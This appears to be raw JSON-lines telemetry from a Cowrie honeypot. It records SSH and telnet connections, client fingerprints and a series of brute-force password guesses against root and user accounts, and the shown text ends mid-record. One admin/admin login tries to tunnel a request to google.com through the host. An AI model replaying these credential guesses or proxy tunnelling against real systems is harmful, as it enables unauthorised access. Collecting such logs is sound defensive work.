{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:47:04.853725Z","src_ip":"62.133.62.83","session":"66095065523c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nbvehrf","message":"login attempt [root/nbvehrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:47:05.099580Z","src_ip":"62.133.62.83","session":"66095065523c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:47:06.183405Z","src_ip":"62.133.62.83","session":"66095065523c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60750,"dst_ip":"159.203.135.109","dst_port":23,"session":"bae8fa086af7","protocol":"telnet","message":"New connection: 135.148.14.151:60750 (159.203.135.109:23) [session: bae8fa086af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:47:10.627744Z"}
{"eventid":"cowrie.session.closed","duration":36.77739977836609,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:47:47.405030Z","src_ip":"135.148.14.151","session":"bae8fa086af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":57788,"dst_ip":"159.203.135.109","dst_port":22,"session":"92cf3b40e3f3","protocol":"ssh","message":"New connection: 193.228.128.84:57788 (159.203.135.109:22) [session: 92cf3b40e3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:49:17.891217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:49:17.899435Z","src_ip":"193.228.128.84","session":"92cf3b40e3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:49:18.002100Z","src_ip":"193.228.128.84","session":"92cf3b40e3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"comfort","message":"login attempt [root/comfort] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:49:18.312012Z","src_ip":"193.228.128.84","session":"92cf3b40e3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:49:19.417936Z","src_ip":"193.228.128.84","session":"92cf3b40e3f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":55456,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f6f2d3c0bb8","protocol":"ssh","message":"New connection: 62.133.63.178:55456 (159.203.135.109:22) [session: 5f6f2d3c0bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:53.418000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:53.422776Z","src_ip":"62.133.63.178","session":"5f6f2d3c0bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:53.546571Z","src_ip":"62.133.63.178","session":"5f6f2d3c0bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex19","message":"login attempt [root/alex19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:53.920550Z","src_ip":"62.133.63.178","session":"5f6f2d3c0bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:55.048599Z","src_ip":"62.133.63.178","session":"5f6f2d3c0bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":55531,"dst_ip":"10.17.0.5","dst_port":22,"session":"3239fb0bb144","protocol":"ssh","message":"New connection: 193.24.211.100:55531 (10.17.0.5:22) [session: 3239fb0bb144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:57.657865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:57.665884Z","src_ip":"193.24.211.100","session":"3239fb0bb144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:57.774886Z","src_ip":"193.24.211.100","session":"3239fb0bb144","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:58.204259Z","src_ip":"193.24.211.100","session":"3239fb0bb144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":80,"src_ip":"193.24.211.100","src_port":8082,"message":"direct-tcp connection request to google.com:80 from 127.0.0.1:8082","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:58.318594Z","session":"3239fb0bb144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"google.com","dst_port":80,"ja4h":"ge11nn010000_a510e5066512_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to google.com:80: ge11nn010000_a510e5066512_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:58.446856Z","src_ip":"193.24.211.100","session":"3239fb0bb144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":80,"data":"b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to google.com:80 with data b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:58.451042Z","src_ip":"193.24.211.100","session":"3239fb0bb144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:50:58.563745Z","src_ip":"193.24.211.100","session":"3239fb0bb144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39402,"dst_ip":"159.203.135.109","dst_port":22,"session":"19567be8ed64","protocol":"ssh","message":"New connection: 109.172.54.111:39402 (159.203.135.109:22) [session: 19567be8ed64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:52:42.013880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:52:42.018768Z","src_ip":"109.172.54.111","session":"19567be8ed64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:52:42.121202Z","src_ip":"109.172.54.111","session":"19567be8ed64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"babylon","message":"login attempt [root/babylon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:52:42.435967Z","src_ip":"109.172.54.111","session":"19567be8ed64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:52:43.540642Z","src_ip":"109.172.54.111","session":"19567be8ed64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58556,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd93e33cef66","protocol":"ssh","message":"New connection: 193.37.70.224:58556 (10.17.0.5:22) [session: fd93e33cef66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:54:29.183968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:54:29.190357Z","src_ip":"193.37.70.224","session":"fd93e33cef66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:54:29.280994Z","src_ip":"193.37.70.224","session":"fd93e33cef66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10031992","message":"login attempt [root/10031992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:54:29.553576Z","src_ip":"193.37.70.224","session":"fd93e33cef66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:54:30.646759Z","src_ip":"193.37.70.224","session":"fd93e33cef66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":39488,"dst_ip":"159.203.135.109","dst_port":22,"session":"4676e594d238","protocol":"ssh","message":"New connection: 2.57.121.25:39488 (159.203.135.109:22) [session: 4676e594d238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:55:35.971227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:55:35.976808Z","src_ip":"2.57.121.25","session":"4676e594d238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:55:36.081260Z","src_ip":"2.57.121.25","session":"4676e594d238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11101977","message":"login attempt [user/11101977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:55:36.570521Z","src_ip":"2.57.121.25","session":"4676e594d238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11101976","message":"login attempt [user/11101976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:55:37.678410Z","src_ip":"2.57.121.25","session":"4676e594d238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110986","message":"login attempt [user/110986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:55:38.786474Z","src_ip":"2.57.121.25","session":"4676e594d238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11081995","message":"login attempt [user/11081995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:55:39.894363Z","src_ip":"2.57.121.25","session":"4676e594d238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11061977","message":"login attempt [user/11061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:55:41.002129Z","src_ip":"2.57.121.25","session":"4676e594d238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:55:42.109727Z","src_ip":"2.57.121.25","session":"4676e594d238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34274,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6ccf0792c08","protocol":"ssh","message":"New connection: 37.233.85.71:34274 (10.17.0.5:22) [session: e6ccf0792c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:56:03.097633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:56:03.103193Z","src_ip":"37.233.85.71","session":"e6ccf0792c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-